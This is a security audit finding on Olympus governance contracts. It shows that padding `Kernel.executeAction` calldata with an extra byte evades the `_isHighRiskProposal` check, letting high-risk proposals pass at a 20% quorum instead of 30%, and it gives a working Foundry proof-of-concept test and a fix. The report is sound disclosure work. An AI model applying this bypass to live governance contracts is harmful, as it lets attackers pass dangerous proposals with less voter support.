Mysterious Honey Falcon

medium

# The high risk proposals quorum can be bypassed

## Summary

The proposals that interact with the Default Framework kernel are considered high-risk proposals and require a higher quorum of 30%, instead of the standard 20%. However, this requirement can be bypassed by constructing actions that involve the Default Framework kernel in a way that evades the checks in the [`_isHighRiskProposal`](https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/GovernorBravoDelegate.sol#L611-L667) function.

## Vulnerability Detail

The [`_isHighRiskProposal`](https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/GovernorBravoDelegate.sol#L611-L667) function is responsible for determining whether a given action qualifies as a high-risk proposal. The [check that parses calldata](https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/GovernorBravoDelegate.sol#L636-L645) is implemented incorrectly because it assumes that the call to the `Kernel.executeAction` function will have data with a specific length:

- `0x44` in case the signature is with length 0
- `0x40` in case the signature is set

This assumption is incorrect because there may be additional calldata sent to the target, which will be ignored by the target contract.

The following proof of concept demonstrates an attack where the proposal triggering `Actions.ActivatePolicy` has a quorum of 20% instead of the required 30%. This was achieved by adding an extra byte to the calldata.

```solidity
function testExploitBypassHighRiskProposal() public {
    // Activate TRSRY
    vm.prank(address(timelock));
    kernel.executeAction(Actions.InstallModule, address(TRSRY));

    // Create proposal that should be flagged as high risk
    address[] memory targets = new address[](1);
    uint256[] memory values = new uint256[](1);
    string[] memory signatures = new string[](1);
    bytes[] memory calldatas = new bytes[](1);
    string memory description = "High Risk Proposal";

    targets[0] = address(kernel);
    values[0] = 0;
    signatures[0] = "";
    calldatas[0] = abi.encodePacked(
        abi.encodeWithSelector(
            kernel.executeAction.selector,
            Actions.ActivatePolicy,
            address(custodian)
        ),
        "X"
    );

    vm.prank(alice);
    bytes memory data = address(governorBravoDelegator).functionCall(
        abi.encodeWithSignature(
            "propose(address[],uint256[],string[],bytes[],string)",
            targets,
            values,
            signatures,
            calldatas,
            description
        )
    );
    uint256 proposalId = abi.decode(data, (uint256));

    data = address(governorBravoDelegator).functionCall(
        abi.encodeWithSignature("getProposalQuorum(uint256)", proposalId)
    );
    uint256 quorum = abi.decode(data, (uint256));
    assertEq(quorum, 200_000e18);
}
```

Output
```shell
[PASS] testExploitBypassHighRiskProposal() (gas: 525810)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 22.45ms

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

## Impact

The attacker can bypass the 30% quorum required for high-risk proposals and present them as regular proposals with the necessary 20% quorum.

## Code Snippet

- https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/GovernorBravoDelegate.sol#L636-L645

## Tool used

Manual Review

## Recommendation

It is recommended to correctly parse the calldata without relying on its hardcoded length.
